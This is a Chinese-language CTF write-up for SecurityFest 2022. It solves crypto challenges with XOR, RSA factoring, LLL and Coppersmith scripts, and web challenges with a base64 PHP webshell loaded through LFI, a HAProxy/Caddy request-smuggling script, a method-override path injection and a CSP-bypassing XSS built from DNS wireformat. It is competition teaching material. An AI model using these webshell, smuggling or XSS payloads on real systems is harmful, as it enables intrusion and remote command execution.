SecurityFest CTF 2022 Writeups

在 Cryptohack DC 上看到才知道有這個 CTF,所以中途以 peko 註冊了然後解了些 crypto 和 web 的題目,結果就第六名了==。

  排行榜截圖

Crypto

panta fler

總之它有三個訊息 和一個同樣長度的 使用 xor 加密:

首先是把兩個密文 xor 可以得到 ,然後使用 flag prefix SECFEST{ 猜看看會發現出來的結果像是英文單字。另外也用一樣的方法去對 測試看看也能得到一個英文單字,所以 是 flag,而 大概是英文句子。

之後就開始利用英文單字和文法去猜說 後面的明文是什麼,這樣能就恢復更長的 直到還原出整個 flag 為止。

我拿了以前解過類似題目弄的一個簡單 interactive 的工具來改,方便我猜 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from functools import reduce


def xor(*args):
if len(args) == 2:
x, y = args
return bytes([a ^ b for a, b in zip(x, y)])
return reduce(xor, args)


ct = [
b"\xc1=\x01}\xe7\x1c\x94YRj\xb3\xa7K@\xde\x0c\x9a\xc9\x00\xb0ZB\r\x87\r\x8b\x8f\xffQ\xc7",
b"\xfc\x1d4^\xd0o\xb2GE|\x89\xe4^]\xcfE\x86\xdd\x1e\x8a\r@\x1c\x96r\x92\x87\xec\x19\xd4",
b"\xfa\x19!P\x82;\xa8G\x10\x7f\x80\xa5DP\xdeE\x94\xc8S\x9cHH\x1f\x8a!\x87\xc0\xe3\x1f\xcd",
]
key = xor(b"SECFEST{", ct[0])
# key = xor(b"SECFEST{be_cautious_with_xor!}", ct[0])


while True:
pts = [xor(key, c) for c in ct]
for i, pt in enumerate(pts):
print(i, pt)
idx = int(input("Enter index: "))
if idx == -1:
break
c = input("Enter next char: ")[0]
key += bytes([ord(c) ^ ct[idx][len(key)]])
print("Current key:", key.hex())
print([xor(key, c) for c in ct])
# SECFEST{be_cautious_with_xor!}

small rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from random import randrange
from gmpy2 import next_prime, is_prime
bits = 128
bound = randrange(2**(bits-1), 2**bits)
print("b =", bound)
#299089579545315329927831077361748367952
B = int(next_prime(bound**2))
print("B =", B)
#89454576592593506198091003676782760426164579104178557226654770323935580674319
d = 8

def gen_prime():
while True:
ps = [randrange(bound) for _ in range(d)]
p = 0
for i in range(d):
p += ps[i]*B**i
if is_prime(p):
break
print(ps)
return p

p = gen_prime()
q = gen_prime()
n = p*q
print(f"{n = }")
#34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529

e = 65537
m = b"[REDACTED]"
m = int.from_bytes(m, "big")
c = pow(m, e, n)
print(f"{c = }")
#20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273

單純的 RSA 題目,因為生成質數的部分比較特別所以目標明顯是要直接分解

這題有個大約 128 bits 的 bound 和約等於 bound**2 的另一數 B,然後都符合這樣的形式:

其中的 係數都小於 bound

一個直覺的想法是直接把它視為 的多項式直接把 相乘:

所以理論上只要把 進位去處理,然後用多項式分解應該就行了...?

實際上做一些實驗會發現 並不一樣,這是因為當相乘的係數超過 的時候它會需要進位。所以係數不會相同。這似乎也是整數分解和多項式分解的困難度差異的關鍵: Does the security of RSA come from just the carries in multiplication?

不過這題似乎是因為 ,所以它進位的部分都相當少,所以直接爆破進位回推 ,然後分解就能拿到 解決這題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *
from itertools import product

B = 89454576592593506198091003676782760426164579104178557226654770323935580674319
n = 34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529
c = 20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273

carries = [1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 2, 2, 2, 2, 2, 1]


def uncarry(coef, unc):
coef = coef[:]
for i in range(len(coef) - 1, 0, -1):
coef[i] -= unc[i]
coef[i - 1] += B * unc[i]
return coef


P.<x> = ZZ[]
coef = n.digits(B)

for v in product(*map(range, carries)):
# print(v)
xx = P(uncarry(coef, v))
fs = factor(xx)
if len(fs) == 2 and fs[0][0].degree() == 7 and fs[1][0].degree() == 7:
print("found")
p = fs[0][0](B)
q = fs[1][0](B)
print(p * q == n)
if p * q == n:
break

d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(power_mod(c, d, n)))

另外後來在 DC 知道這題可以用 LLL 處理。首先是 ,因為 所以直接分解 就能爆出 的可能值。

再來比較一下一次項: ,用約等於是因為有可能有進位的誤差,不過那個誤差值很小。在這個情況下 是已知的,所以可以用 LLL 嘗試去找小的解,也就是

之後比較一下二次項: ,一樣因為 都已知,可以用 LLL 找出 ,然後就這樣反覆類推把全部找出來。

hellman 的 impl: small_rsa.ipynb

另外還有人在 DC 發這個: https://eprint.iacr.org/2015/398.pdf ,裡面似乎也是有使用 LLL 處理這種 weak prime 的方法。不過發連結的人表示說他怎麼弄都不成功。

knäppsäck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from random import sample, randint 

p = random_prime(2^1024)
R = Zmod(p)

groups = list(randint(2, 6) for i in range(40))
thresh = list(randint(i//2, i//2 + 1) for i in groups)

G = list(
list(R.random_element() for i in range(c))
for c in groups
)

message = list(
sorted(sample(range(g), i))[::-1]
for g, i in zip(groups, thresh)
)

P = sum(
sum(g[i] for i in m)
for m, g in zip(message, G)
)

print(f"p = {p}")
print(f"groups = {groups}")
print(f"thresh = {thresh}")
print(f"G = {G}")
print(f"P = {P}")

def lexorder(x, m):
if len(x) == 0: return 1
return binomial(x[0], len(x)) + lexorder(x[1:], x[0])

flag, b = 0, 1
for m, g in zip(message, groups):
flag += lexorder(m, g) * b
b *= binomial(g, len(m))

print(f"flag = {flag}")

直接看 source code 可以知道 的某個 subset 加總起來會是 ,因為 density 不高 (~0.15) 所以直接 LLL,然後回推 message 拿 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
with open("output.txt") as f:
exec(f.read())

ar = sum(G, [])
M = matrix(ar).T.augment(matrix.identity(len(ar)) * 2)
M = M.stack(vector([-P] + [-1] * len(ar)))
M = M.stack(vector([p] + [0] * len(ar)))
M[:, 0] *= 2 ^ 128
R = M.LLL()

sol = list(R[1][1:])
message = []
for g in G:
cur = sol[: len(g)]
sol = sol[len(g) :]
message.append([i for i, v in enumerate(cur) if v == 1][::-1])


def lexorder(x, m):
if len(x) == 0:
return 1
return binomial(x[0], len(x)) + lexorder(x[1:], x[0])


flag, b = 0, 1
for m, g in zip(message, groups):
flag += lexorder(m, g) * b
b *= binomial(g, len(m))

print(f"flag = {flag}")

really_sick_æsthetic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from morfarshatt import flagga

g = lambda k: random_prime(2^k) * random_prime(2^k)
r = lambda m: randint(1, m)

n1 = g(512)
n2 = g(512)
n3 = g(512)

m = min(n1, n2, n3)
a, b = r(m), r(m)
c, d = r(m), r(m)

x = int.from_bytes(flagga, byteorder='big')
assert(x < m)

c1 = pow(x, 3, n1)
c2 = pow(a*x + b, 3, n2)
c3 = pow(c*x + d, 3, n3)

print(f'n1, n2, n3 = {n1}, {n2}, {n3}')
print(f'a, b, c, d = {a}, {b}, {c}, {d}')
print(f'c1, c2, c3 = {c1}, {c2}, {c3}')
print(f'{len(flagga)}')

有三個 RSA 的 ,然後 flag 用這樣的方法加密:

如果有重複的 的話可用 Related Message Attack 用 gcd 解,但這題不是。另一個類似形式的是 Hastad Broadcast Attack,然而這題的第二和第三式沒辦法讓我得到 的值。

不過 Hastad Broadcast Attack 本身用的是 CRT,這個 idea 其實也能用在這邊。可先令這幾個多項式:

可見 ,然後另外取 CRT coefficient :

兩者結合可以得到 ,這個某種程度上可以視為是對 mod 不同數的情況下做 CRT:

顯然 ,所以也有 。因為 所以 相比算是 small root,可用 coppersmith 求解。

不過我一開始直接 small roots 的時候都找不到解,後來還是靠 hint 額外補充的資訊才搞定:

1
2
3
len(flag) = 127
and
flag = SECFEST{...} + random
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import *

n1, n2, n3 = (
1401319611347356773887154859254297488587748916167528411781955161070771235056492239930915055430725842906735678800721088435590827145380843922331596331217195998289782451691023636938672246577057750538399961569425132775422780215874173061239620286809361247476788799084351705535705191719741473638161177830819062913,
93929270671640676038272300621577590050388546365573376058848268755586443513273392470288465422034947305882115935273812814090585070611845743805708732148965001758685938419891262987151989750411904643337379571106949332912476594370786031126592832074202606178259666176275819642895388993805423801590346121886463154493,
16942255048162971761210283484837728649885892177575028340105590631533021846865838703837850496337964481215216748513001294835312645433010478899804925326573174869703026494395537885248285153728354458825455324651596388723156984568435202926704664556435326575519823264262426064534649720827701655074670423046369428487,
)
a, b, c, d = (
816707757334025955873551300291115957244929178359163189898836703794096446035376642681339350269646402403623381300867313940921411937931855866555460115147443198624007849492344102900953388236705014598317668063410070421658320251867938311242756954445599777691127340178194758168120083391846957297043258538971682656,
745711826496100756612627309746963018286384869064570930929420181315701128858481411996420808944706255787336734726114648250308181091719587312246849339268467320198235168275114019618372903191004050047010404038580467357659473336645389978388162270444112395481987515683470136265832310695565656316066649488457251542,
457113559991336310217047954994454259015470269139045253465880453115425882867168371751366860291496286988706829825972982124718895516194348207894013000632929345548822790821065845244320278540909961203024618547366059145546677151699090715138478903903713059476077714630963005563020709732576278095273999695170245879,
509199941399276795750649828994710794297214191656907620132065560140027602600782775401578085170024829709169889862887726457343903644876293675737086407127920668618215833854745693576935098817794913606783358855099827179163328860990718950946614721022541431359002875691363746468433769282630310194268851308235950929,
)
c1, c2, c3 = (
1268196573919981524276949967801999986488529166073152640081117541596594438854836034605091034310174116029963325447867011142758840266458010604314712206281207486042576686131112279236592688360682514879866358817285786950878940051455988959409256539680442525853200118747541970284236278058810272505720905257745240883,
64208823083728071837064999419452205104115247850043866522128501646834783777966548620165452087334309723488367313973950057214802570403789761738914272552005923211386317615619928040804318066050436314100228196466534901781541660761105159754722013559344265999734902281442779083683166805632208178603445218079969320285,
8509227949500504626057408247321015695521219754070289890807066036172664538036554468734653260395519871677018843271256389298835987869898579912928540836245194980365843079281083074016559389213798536654944263567871852040147199080662496995097561192482940890984303786845410433468150776276754709196911737317257395314,
)


prefix = int.from_bytes(b"SECFEST{", "big")
T1 = crt([1, 0, 0], [n1, n2, n3])
T2 = crt([0, 1, 0], [n1, n2, n3])
T3 = crt([0, 0, 1], [n1, n2, n3])
P = PolynomialRing(Zmod(n1 * n2 * n3), "x")
x = P.gen()
m = x + prefix * (2 ^ (8 * 119))
f1 = m ^ 3 - c1
f2 = (a * m + b) ^ 3 - c2
f3 = (c * m + d) ^ 3 - c3
f = f1 * T1 + f2 * T2 + f3 * T3
flag = b"SECFEST{" + long_to_bytes(
ZZ(f.monic().small_roots(X=2 ^ (8 * 119), epsilon=0.03)[0])
)
print(flag)

# SECFEST{0xlol}

和這題類似的幾個題目:

Web

dumperignon

php 題,關鍵大概在這段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
ini_set("display_errors", TRUE);
error_reporting(E_ALL);

ini_set("allow_url_fopen", 0);
ini_set("allow_url_include", 0);
ini_set("open_basedir", "/var/www");

if(isset($_GET['source'])){
die(show_source(__FILE__));
}

function nohack($str){
return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str);
}

foreach($_POST as $key => $val){
$_POST[$key] = nohack($val);
}
foreach($_GET as $key => $val){
$_GET[$key] = nohack($val);
}
foreach($_REQUEST as $key => $val){
$_REQUEST[$key] = nohack($val);
}

if(isset($_GET['file'])){
set_include_path("/var/www/messages");
echo "Message contents: <br>\n<pre>";
include($_GET['file']);
echo "</pre>";
die();
}


if(isset($_POST['file'])){
if(strlen($_POST['file']) > 1000){
echo "too big file";
die();
}
$filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg";
$fp = fopen("/var/www/messages/".$filename, 'wb');
fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>");
fclose($fp);
header('Content-Length: 0');
header('Connection: close');
header('Location: /?file='.$filename);
die();
}else{
// other html
}

解法也很簡單,在 /var/www/messages 中寫 base64 的 webshell,然後 LFI 時使用 php://filter/convert.base64-decode/resource=... 就有 webshell 了。

唯一要注意的是可能要在 base64 前面 pad 點垃圾才能讓 webshell 正常出來。

payload:

1
2
3
4
xxPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsvL3R4
http://dumperignon-01.hackaplaneten.se/?file=php://filter/convert.base64-decode/resource%3D/var/www/messages/e8c2ef8ec46207240b47fd7905b70ede842.msg&0=./flag_dispenser

SECFEST{1_R@n_0ut_of_cl3v3r_fl4gz...}

*tunnelvision

賽中沒解掉這題,做個筆記而已

這題目標就只是想辦法 GET /admin,但是前面有兩層 proxy: Haproxy -> Caddy -> Service

haproxy.cfg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
global
stats socket /var/run/api.sock user haproxy group haproxy mode 660 level admin expose-fd listeners
log stdout format raw local0 debug

defaults
mode http
timeout client 10s
timeout connect 5s
timeout server 10s
timeout http-request 10s
log global

resolvers dns
nameserver ns1 127.0.0.11:53
hold valid 10s

frontend myfrontend
bind :80
acl local_management src 127.0.0.1
acl restricted_page path -i -m sub admin
http-request deny if restricted_page !local_management
default_backend webserver

backend webserver
http-response set-header Server webserver
server s1 loadbalancer:80 resolvers dns check

Caddyfile:

1
2
3
4
5
6
7
8
9
10
11
:80 {

@blacklist {
not {
path /admin*
}
}

reverse_proxy @blacklist backend:80

}

總之它就只是擋 /admin 之類的 path 而已。

官方解 (by @avlidienbrunn):

1
2
1. bypass HAP using keep-alive + CONNECT verb + 2xx status (will put HAP in "tunnel mode", it thinks it is supposed to be a proxy, and not apply any rules)
2. bypass caddy blacklist with either invalid pct encoding or GET /admin/../blablabla. caddy uses matching on normalized path, but doesnt actually send normalized path over the wire
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# coding=utf-8
import ssl, sys
from pwn import * # pip install pwntools

target = sys.argv[1]

r = remote(target, 80, ssl=False) # ssl=True
request = '''CONNECT /horoscope/leo HTTP/1.1\r\nHost: a\r\n\r\n'''.format(target)
request2 = '''GET /admin/../ HTTP/1.1\r\nHost:{}\r\n\r\n'''.format(target)

print("----------- SENDING CONNECT --------------")
r.send(request)
print(r.recvrepeat(1)) # CONNECT response

print("----------- SENDING admin --------------")
r.send(request2)
print(r.recvrepeat(1)) # smuggled GET /admin response

其中 /horoscope/leo 就只是讓它產生 200 使 haproxy 以為有成功 proxy,而 caddy 的部分在 weird_proxies - Caddy 也有記載。

不過後來還看到另一個很有趣的解:

1
curl -X 'POST' -H 'X-HTTP-Method-Override: GET/admin' 'http://tunnelvision-01.hackaplaneten.se/'

所以就去 trace 了一下 code 看到了 router.go#L156-L179,可以知道它會在 POST 和 X-HTTP-Method-Override 允許你 override method。但是一般情況下 override method 不應該控制到 path 對吧? 這之所以能成功是因為這個 framework 裡面的 routes 都是使用 /$METHOD$PATH 這樣的形式表示的,例如 /GET/admin 這樣。所以它透過蓋掉 method 去 injection,然後因為這題 /admin 或是 /admin/* 都能拿 flag,所以這樣就成功 match 到了。

madness

一個特殊的 XSS 題目(只需要 alert(1)),source code 部分有幾個核心的點:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def hello_world(path):
if path == "":
return redirect("/app", code=301)
return render_template('index.html', prefix="/"+request.path.lstrip("/"))

# ...

@app.after_request
def add_header(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"
return response

還有 index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<html lang="en-US" prefix="og: http://ogp.me/ns#">
<head id="head">
<title>Madness</title>
<link
href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
rel="stylesheet"
/>
<link
href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
rel="stylesheet"
/>
<link rel="stylesheet" href="{{ prefix }}/static/style.css"></link>
<script type="text/javascript" src="{{ prefix }}/static/dns.js"></script>
<!--

_
_ _,-'_)_
|,' ,-' __) ,------/.
| -' _)/ `\ ______________
,' ,-'_,` : / \
,-' ,(,-( : | DoH' |
,' ,-' , _ ; --\_______________/
/ ,-._/`---' / _'
/ (____)(----. ) ,'
/ ( `.__, /\ /,
: ;-.___ /__\/|
| ,' `--. -,\ |
: / \ .__/
\ (__ \ |_
\ ,`-, * / _|,\
\ ,' `-. ,'_,-' \
(_\,-' ,'\")--,'-' __\
\ / // ,'| ,--' `-.
`-. `-/ \' | _,' `.
`-._ / `--'/ \
,' | \
/ | \
,-' | /
/ | -'
-->
</head>
<body class="purge-cache-page bg">
<main>
<section data-section="purge-cache">
<div class="form-container">
<header>
<h1 class="title">Madness DNS</h1>
</header>
<p class="description">
<span
>This page allows users to refresh DNS cache and lookup domain names without having to be an absolute nerd using terminals and all that stuff. Enjoy!</span
>
</p>
<form id="lookup-name-form"></form>
<form id="purge-cache-form">
<div class="label required">Domain Name</div>
<input
id="domain"
class="input-field"
name="domain"
type="text"
placeholder="example.com"
required=""
/>
<br />
<input id="submit-button" type="submit" form="lookup-name-form" value="Lookup DNS name" />
<input id="submit-button" type="submit" value="Purge DNS cache" />
</form>
<div id="info-message"></div>
</div>
</section>
</main>
</body>
</html>

很明顯的 prefix 可控,但它因為有 lstrip("/") 導致 script tag 不能使用 //example.com/foo.js 的方法去拿第三方的 script。不過我測試了一下發現 chrome 系的也會把 \ 視為 / 處理,所以 \/example.com/foo.js 也是能行。

下一步是要繞 CSP,因為裡面只允許了 self 和 cloudflare-dns.com 兩個,很明顯是要在 cloudflare-dns.com 上面找到 endpoint 可以回傳自訂的 payload。

後來查一查官方文件看到了這個: Using DNS Wireformat

它能讓你直接把 DNS 的 packet 用 base64 encode 放在 url 上傳送,然後回傳值是直接 binary DNS response。所以可以看看有沒有什麼方法能讓 DNS response 變成 js 來繞 CSP。

所以我去查了一查 DNS protocol 的細節,找到了這個讓我簡單的了解了 DNS packet 的格式。而關鍵在於 DNS header 最開頭有個 16 bits 的 ID,response 也會是以相同 ID 回傳的。所以只要讓 ID 變成是 0x2F2A 就能讓 response 以 /* 開頭。

之後就在 query 的 domain name 部分塞 */alert(1)// 之類的東西測試看看會發現它也會原封不動的出現在 response 中,所以就能 XSS 了。

1
2
3
4
5
6
7
8
9
from base64 import b64decode, b64encode
from dnslib import DNSRecord, DNSQuestion, DNSHeader

pkt = DNSRecord(DNSHeader(id=0x2F2A), q=DNSQuestion("*/alert(1)//"))
b64encode(pkt.pack())


# http://madness-01.hackaplaneten.se:3000/%5Ccloudflare-dns.com/dns-query%3Fdns%3DLyoBAAABAAAAAAAADCovYWxlcnQoMSkvLwAAAQAB%23
# SECFEST{l00kz_l13K_JS_2_m3!?}

有些時候失敗的話可以在 DNSQuestionname 後面隨便加點東西,反正不要讓 response 後面的垃圾出現 0a 或是 0d 即可